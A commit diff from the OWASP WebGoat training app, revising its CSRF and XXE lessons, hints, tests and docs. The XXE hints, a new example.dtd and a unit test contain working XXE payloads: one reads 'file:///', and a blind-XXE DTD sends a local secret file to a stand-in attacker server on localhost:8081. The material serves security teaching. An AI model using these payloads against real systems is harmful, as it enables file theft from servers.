Extended and fixed some lessons

This commit is contained in:
Nanne Baars 2018-05-27 20:37:44 +02:00
parent d2b6725f3b
commit 1edceb0aa8
16 changed files with 152 additions and 168 deletions

View File

@ -14,19 +14,23 @@ import org.springframework.web.bind.annotation.ResponseBody;
*/
@AssignmentPath("/csrf/confirm-flag-1")
@AssignmentHints({"csrf-get.hint1","csrf-get.hint2","csrf-get.hint3","csrf-get.hint4"})
@AssignmentHints({"csrf-get.hint1", "csrf-get.hint2", "csrf-get.hint3", "csrf-get.hint4"})
public class CSRFConfirmFlag1 extends AssignmentEndpoint {
@Autowired
UserSessionData userSessionData;
@PostMapping(produces = {"application/json"})
public @ResponseBody AttackResult completed(String confirmFlagVal) {
public @ResponseBody
AttackResult completed(String confirmFlagVal) {
if (confirmFlagVal.equals(userSessionData.getValue("csrf-get-success").toString())) {
return success().feedback("csrf-get-null-referer.success").output("Correct, the flag was " + userSessionData.getValue("csrf-get-success")).build();
Object userSessionDataStr = userSessionData.getValue("csrf-get-success");
if (userSessionDataStr != null && confirmFlagVal.equals(userSessionDataStr.toString())) {
return trackProgress(
success().feedback("csrf-get-null-referer.success").output("Correct, the flag was " + userSessionData.getValue("csrf-get-success")).build()
);
}
return failed().feedback("").build();
return trackProgress(failed().build());
}
}

View File

@ -40,7 +40,7 @@ public class CSRFFeedback extends AssignmentEndpoint {
try {
objectMapper.readValue(feedback.getBytes(), Map.class);
} catch (IOException e) {
return failed().feedback(ExceptionUtils.getStackTrace(e)).build();
return failed().feedback(ExceptionUtils.getStackTrace(e)).build();
}
boolean correctCSRF = requestContainsWebGoatCookie(request.getCookies()) && request.getContentType().equals(MediaType.TEXT_PLAIN_VALUE);
correctCSRF &= hostOrRefererDifferentHost(request);
@ -64,8 +64,12 @@ public class CSRFFeedback extends AssignmentEndpoint {
private boolean hostOrRefererDifferentHost(HttpServletRequest request) {
String referer = request.getHeader("referer");
String host = request.getHeader("host");
return !StringUtils.contains(referer, host);
String origin = request.getHeader("origin");
if (referer != null) {
return !referer.contains(origin);
} else {
return true; //this case referer is null or origin does not matter we cannot compare so we return true which should of course be false
}
}
private boolean requestContainsWebGoatCookie(Cookie[] cookies) {

View File

@ -31,7 +31,7 @@ public class CSRFGetFlag extends Endpoint {
@ResponseBody
public Map<String, Object> invoke(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
Map<String,Object> response = new HashMap<>();
Map<String, Object> response = new HashMap<>();
String host = (req.getHeader("host") == null) ? "NULL" : req.getHeader("host");
// String origin = (req.getHeader("origin") == null) ? "NULL" : req.getHeader("origin");
@ -40,22 +40,32 @@ public class CSRFGetFlag extends Endpoint {
String referer = (req.getHeader("referer") == null) ? "NULL" : req.getHeader("referer");
String[] refererArr = referer.split("/");
if (referer.equals("NULL") && req.getParameter("csrf").equals("true")) {
Random random = new Random();
userSessionData.setValue("csrf-get-success", random.nextInt(65536));
response.put("success",true);
response.put("message",pluginMessages.getMessage("csrf-get-null-referer.success"));
response.put("flag",userSessionData.getValue("csrf-get-success"));
} else if (refererArr[2].equals(host)) {
if (referer.equals("NULL")) {
if (req.getParameter("csrf").equals("true")) {
Random random = new Random();
userSessionData.setValue("csrf-get-success", random.nextInt(65536));
response.put("success", true);
response.put("message", pluginMessages.getMessage("csrf-get-null-referer.success"));
response.put("flag", userSessionData.getValue("csrf-get-success"));
} else {
Random random = new Random();
userSessionData.setValue("csrf-get-success", random.nextInt(65536));
response.put("success", true);
response.put("message", pluginMessages.getMessage("csrf-get-other-referer.success"));
response.put("flag", userSessionData.getValue("csrf-get-success"));
}
} else if (refererArr[2].equals(host)) {
response.put("success", false);
response.put("message", "Appears the request came from the original host");
response.put("flag", null);
} else {
Random random = new Random();
userSessionData.setValue("csrf-get-success", random.nextInt(65536));
response.put("success",true);
response.put("message",pluginMessages.getMessage("csrf-get-other-referer.success"));
response.put("flag",userSessionData.getValue("csrf-get-success"));
response.put("success", true);
response.put("message", pluginMessages.getMessage("csrf-get-other-referer.success"));
response.put("flag", userSessionData.getValue("csrf-get-success"));
}
return response;

View File

@ -1,69 +0,0 @@
package org.owasp.webgoat.plugin;
import org.owasp.webgoat.assignments.Endpoint;
import org.owasp.webgoat.i18n.PluginMessages;
import org.owasp.webgoat.session.UserSessionData;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.ResponseBody;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
import java.util.Random;
/**
* Created by jason on 9/30/17.
*/
public class CSRFGetXhrFlag extends Endpoint {
@Autowired
UserSessionData userSessionData;
@Autowired
private PluginMessages pluginMessages;
@RequestMapping(produces = {"application/json"}, method = RequestMethod.GET)
@ResponseBody
public Map<String, Object> invoke(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
Map<String,Object> response = new HashMap<>();
String host = (req.getHeader("host") == null) ? "NULL" : req.getHeader("host");
// String origin = (req.getHeader("origin") == null) ? "NULL" : req.getHeader("origin");
// Integer serverPort = (req.getServerPort() < 1) ? 0 : req.getServerPort();
// String serverName = (req.getServerName() == null) ? "NULL" : req.getServerName();
String referer = (req.getHeader("referer") == null) ? "NULL" : req.getHeader("referer");
String[] refererArr = referer.split("/");
if (referer.equals("NULL") && req.getParameter("csrf").equals("true")) {
Random random = new Random();
userSessionData.setValue("csrf-get-success", random.nextInt(65536));
response.put("success",true);
response.put("message",pluginMessages.getMessage("csrf-get-null-referer.success"));
response.put("flag",userSessionData.getValue("csrf-get-success"));
} else if (refererArr[2].equals(host)) {
response.put("success", false);
response.put("message", "Appears the request came from the original host");
response.put("flag", null);
} else {
Random random = new Random();
userSessionData.setValue("csrf-get-success", random.nextInt(65536));
response.put("success",true);
response.put("message",pluginMessages.getMessage("csrf-get-other-referer.success"));
response.put("flag",userSessionData.getValue("csrf-get-success"));
}
return response;
}
@Override
public String getPath() {
return "/csrf/get-xhr-flag";
}
}

View File

@ -115,22 +115,13 @@ public class ForgedReviews extends AssignmentEndpoint {
userReviews.put(webSession.getUserName(), reviews);
//short-circuit
if (validateReq == null || !validateReq.equals(weakAntiCSRF)) {
return failed().feedback("csrf-you-forgot-something").build();
return trackProgress(failed().feedback("csrf-you-forgot-something").build());
}
//we have the spoofed files
if (referer != "NULL" && refererArr[2].equals(host) ) {
return (failed().feedback("csrf-same-host").build());
return trackProgress(failed().feedback("csrf-same-host").build());
} else {
return (success().feedback("csrf-review.success").build()); //feedback("xss-stored-comment-failure")
}
}
private Review parseJson(String comment) {
ObjectMapper mapper = new ObjectMapper();
try {
return mapper.readValue(comment, Review.class);
} catch (IOException e) {
return new Review();
return trackProgress(success().feedback("csrf-review.success").build()); //feedback("xss-stored-comment-failure")
}
}
}

View File

@ -15,6 +15,7 @@
<form accept-charset="UNKNOWN" id="basic-csrf-get"
method="GET" name="form1"
target="_blank"
successCallback=""
action="/WebGoat/csrf/basic-get-flag"
enctype="application/json;charset=UTF-8">
@ -26,10 +27,12 @@
<div class="adoc-content" th:replace="doc:CSRF_Basic_Get-1.adoc"></div>
<div class="attack-container">
<img th:src="@{/images/wolf-enabled.png}" class="webwolf-enabled"/>
<div class="assignment-success">
<i class="fa fa-2 fa-check hidden" aria-hidden="true">
</i>
</div>
<br/>
<form class="attack-form" accept-charset="UNKNOWN" id="confirm-flag-1"
method="POST" name="form2"
successCallback=""
@ -40,7 +43,10 @@
<input type="text" length="6" name="confirmFlagVal" value=""/>
<input name="submit" value="Submit" type="submit"/>
<br/>
<br/>
<br/>
<br/>
</form>
<div class="attack-feedback"></div>
@ -56,9 +62,9 @@
<link rel="stylesheet" type="text/css" th:href="@{/lesson_css/reviews.css}"/>
<script th:src="@{/lesson_js/csrf-review.js}" language="JavaScript"></script>
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
<div class="attack-container">
<img th:src="@{/images/wolf-enabled.png}" class="webwolf-enabled"/>
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
<div class="container-fluid">
<div class="panel post">
<div class="post-heading">
@ -133,65 +139,71 @@
padding: 7px;
margin-top:7px;
padding:5px;">
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
<div class="container-fluid">
<div class="row">
<div class="col-md-8">
<div class="well well-sm">
<form class="attack-form" accept-charset="UNKNOWN" id="csrf-feedback"
method="POST"
prepareData="feedback"
action="/WebGoat/csrf/feedback/message"
contentType="application/json">
<div class="row">
<div class="col-md-6">
<div class="form-group">
<label for="name">
Name</label>
<input type="text" class="form-control" name="name" id="name"
placeholder="Enter name"
required="required"/>
</div>
<div class="form-group">
<label for="email">
Email Address</label>
<div class="input-group">
<div class="attack-container">
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
<div class="container-fluid">
<div class="row">
<div class="col-md-8">
<div class="well well-sm">
<form class="attack-form" accept-charset="UNKNOWN" id="csrf-feedback"
method="POST"
prepareData="feedback"
action="/WebGoat/csrf/feedback/message"
contentType="application/json">
<div class="row">
<div class="col-md-6">
<div class="form-group">
<label for="name">
Name</label>
<input type="text" class="form-control" name="name" id="name"
placeholder="Enter name"
required="required"/>
</div>
<div class="form-group">
<label for="email">
Email Address</label>
<div class="input-group">
<span class="input-group-addon"><span class="glyphicon glyphicon-envelope"></span>
</span>
<input type="email" name="email" class="form-control" id="email"
placeholder="Enter email"
required="required"/></div>
<input type="email" name="email" class="form-control" id="email"
placeholder="Enter email"
required="required"/></div>
</div>
<div class="form-group">
<label for="subject">
Subject</label>
<select id="subject" name="subject" class="form-control"
required="required">
<option value="na" selected="">Choose One:</option>
<option value="service">General Customer Service</option>
<option value="suggestions">Suggestions</option>
<option value="product">Product Support</option>
</select>
</div>
</div>
<div class="form-group">
<label for="subject">
Subject</label>
<select id="subject" name="subject" class="form-control" required="required">
<option value="na" selected="">Choose One:</option>
<option value="service">General Customer Service</option>
<option value="suggestions">Suggestions</option>
<option value="product">Product Support</option>
</select>
<div class="col-md-6">
<div class="form-group">
<label for="name">
Message</label>
<textarea name="message" id="message" class="form-control" rows="9"
cols="25"
required="required"
placeholder="Message"></textarea>
</div>
</div>
<div class="col-md-12">
<button class="btn btn-primary pull-right" id="btnContactUs">
Send Message
</button>
</div>
</div>
<div class="col-md-6">
<div class="form-group">
<label for="name">
Message</label>
<textarea name="message" id="message" class="form-control" rows="9" cols="25"
required="required"
placeholder="Message"></textarea>
</div>
</div>
<div class="col-md-12">
<button class="btn btn-primary pull-right" id="btnContactUs">
Send Message
</button>
</div>
</div>
</form>
</form>
</div>
</div>
</div>
</div>
<div class="attack-feedback"></div>
<div class="attack-output"></div>
</div>
</div>
@ -211,7 +223,6 @@
<input name="submit" value="Submit" type="submit"/>
</form>
<div class="attack-feedback"></div>
<div class="attack-output"></div>
</div>

View File

@ -13,9 +13,14 @@ match and this will ensure the server the request is running on the same domain.
Remember the session cookie should always be defined with http-only flag.
Another effective defense can be to add a custom request header to each call. This will work if all the interactions
== Custom headers not safe
Another defense can be to add a custom request header to each call. This will work if all the interactions
with the server are performed with JavaScript. On the server side you only need to check the presence of this header
if this header is not present deny the request.
Some frameworks offer this implementation by default however researcer Alex Infuhr found out that this can be bypassed
as well. You can read about: http://insert-blogspot.nl/2018/05/adobe-reader-pdf-client-side-request.html?m=1[Adobe Reader PDF - Client Side Request Injection]

View File

@ -4,7 +4,20 @@ The impact is limited only by what the logged in user can do (if the site/functi
The areas that are really prone to CSRF attacks are IoT devices and 'smart' appliances. Sadly, many consumer-grade routers
have also proven vulnerable to CSRF.
== CSRF Solution
== CSRF solutions
=== Same site cookie attribute
This is a new extension which modern browsers support which limits the scope of the cookie such that it will only be
attached to requests if those requests are 'same-site'
For example requests for `http://webgoat.org/something` will attach same-site cookies if the request is initiated from
`webgoat.org`.
There are two modes, strict and lax. The first one does not allow cross site request, this means when you are on
github.com and you want to like it through Facebook (and Facebook specifies same-site as strict) you will be
redirected to the login page, because the browser does not attach the cookie for Facebook.
More information can be found here: www.sjoerdlangkemper.nl/2016/04/14/preventin-csrf-with-samesite-cookie-attribute/
=== Other protections
Fortunately, many (web) application frameworks now come with built in support to handle CSRF attacks. For example, Spring and
Tomcat have this on by default. As long as you don't turn it off (like it is in WebGoat), you should be safe from CSRF attacks.

View File

@ -46,13 +46,10 @@ public class CSRFFeedbackTest extends LessonTest {
mockMvc.perform(post("/csrf/feedback/message")
.contentType(MediaType.TEXT_PLAIN)
.cookie(new Cookie("JSESSIONID", "test"))
.header("host", "localhost:8080")
.header("origin", "localhost:8080")
.header("referer", "webgoat.org")
.content("{\"name\": \"Test\", \"email\": \"test1233@dfssdf.de\", \"subject\": \"service\", \"message\":\"dsaffd\"}"))
.andExpect(jsonPath("lessonCompleted", is(true)))
.andExpect(jsonPath("feedback", StringContains.containsString("the flag is: ")));
}
}

View File

@ -4,6 +4,7 @@ import com.google.common.base.Charsets;
import com.google.common.io.Files;
import lombok.SneakyThrows;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AssignmentPath;
import org.owasp.webgoat.assignments.AttackResult;
import org.springframework.beans.factory.annotation.Autowired;
@ -49,6 +50,7 @@ import static org.apache.commons.lang3.RandomStringUtils.randomAlphabetic;
* @since November 18, 2016
*/
@AssignmentPath("xxe/blind")
@AssignmentHints({"xxe.blind.hints.1","xxe.blind.hints.2","xxe.blind.hints.3","xxe.blind.hints.4","xxe.blind.hints.5"})
public class BlindSendFileAssignment extends AssignmentEndpoint {
static final String CONTENTS = "WebGoat 8.0 rocks... (" + randomAlphabetic(10) + ")";

View File

@ -51,7 +51,7 @@ import static org.springframework.web.bind.annotation.RequestMethod.POST;
* @since 4/8/17.
*/
@AssignmentPath("xxe/simple")
@AssignmentHints({"xxe.hints.simple.xxe.1", "xxe.hints.simple.xxe.2", "xxe.hints.simple.xxe.3", "xxe.hints.simple.xxe.4"})
@AssignmentHints({"xxe.hints.simple.xxe.1", "xxe.hints.simple.xxe.2", "xxe.hints.simple.xxe.3", "xxe.hints.simple.xxe.4", "xxe.hints.simple.xxe.5", "xxe.hints.simple.xxe.6"})
public class SimpleXXE extends AssignmentEndpoint {
private final static String[] DEFAULT_LINUX_DIRECTORIES = {"usr", "etc", "var"};

View File

@ -30,9 +30,17 @@ xxe.content.output=Welcome {0} you can now login to our website
xxe.blind.output=Contents of the file is: {0}
xxe.hints.simple.xxe.1=Try submitting the form and see what happens
xxe.hints.simple.xxe.2=XXE stands for XML External Entity attack
xxe.hints.simple.xxe.3=Try to include your own DTD
xxe.hints.simple.xxe.4=Try to include a doctype "(&lt;!DOCTYPE...)" in the xml
xxe.hints.simple.xxe.2=Use ZAP/Burp to intercept the request and try to include your own DTD
xxe.hints.simple.xxe.3=Try to include a doctype "(&lt;!DOCTYPE...)" in the xml
xxe.hints.simple.xxe.4=The include can be as follows: &lt;!DOCTYPE user [&lt;!ENTITY root SYSTEM "file:///"&gt; ]>
xxe.hints.simple.xxe.5=Do not forget to reference the entity
xxe.hints.simple.xxe.6=In the comment you should references: &lt;comment&gt;&lt;text&gt;&root;test&lt;/text&gt;&lt;/comment&gt;
xxe.hints.content.type.xxe.1=Take a look at the content type
xxe.hints.content.type.xxe.2=Does the endpoint only accept json messages?
xxe.blind.hints.1=This assignment is more complicated you need to upload the contents of a file to the attackers site (WebWolf in this case)
xxe.blind.hints.2=In this case you cannot combine external entities in combination with internal entities.
xxe.blind.hints.3=Use parameter entities to perform the attack, see for example: https://www.acunetix.com/blog/articles/xml-external-entity-xxe-limitations/
xxe.blind.hints.4=An example DTD can be found here WebGoat/images/example.dtd, include this DTD in the xml comment
xxe.blind.hints.5=Use for the comment, be aware to replace the url accordingly: &lt;?xml version="1.0"?&gt;&lt;!DOCTYPE comment [&lt;!ENTITY % remote SYSTEM "http://localhost:8081/files/test1234/test.dtd"&gt;%remote;]&gt;&lt;comment&gt;&lt;text&gt;test&send;&lt;/text&gt;&lt;/comment&gt;

View File

@ -0,0 +1,5 @@
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % file SYSTEM "file:/home/nbaars/.webgoat-v8.0.0.M14/XXE/secret.txt">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:8081/landing?text=%file;'>">
%all;
~

View File

@ -3,5 +3,5 @@
In modern REST frameworks the server might be able to accepts data formats that you as a developer did not think about.
So this might result in JSON endpoints being vulnerable to XXE attacks.
Again same exercise but try to perform the same XML injection as we did in first assigment.
Again same exercise but try to perform the same XML injection as we did in first assignment.

View File

@ -71,6 +71,7 @@ public class BlindSendFileAssignmentTest extends LessonTest {
@Test
public void solve() throws Exception {
File targetFile = new File(webGoatHomeDirectory, "/XXE/secret.txt");
//Host DTD on WebWolf site
String dtd = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
"<!ENTITY % file SYSTEM \"" + targetFile.toURI().toString() + "\">\n" +
"<!ENTITY % all \"<!ENTITY send SYSTEM 'http://localhost:8081/landing?text=%file;'>\">\n" +
@ -80,6 +81,8 @@ public class BlindSendFileAssignmentTest extends LessonTest {
.withStatus(200)
.withBody(dtd)));
webwolfServer.stubFor(get(urlMatching("/landing.*")).willReturn(aResponse().withStatus(200)));
//Make the request from WebGoat
String xml = "<?xml version=\"1.0\"?>" +
"<!DOCTYPE comment [" +
"<!ENTITY % remote SYSTEM \"http://localhost:8081/files/test.dtd\">" +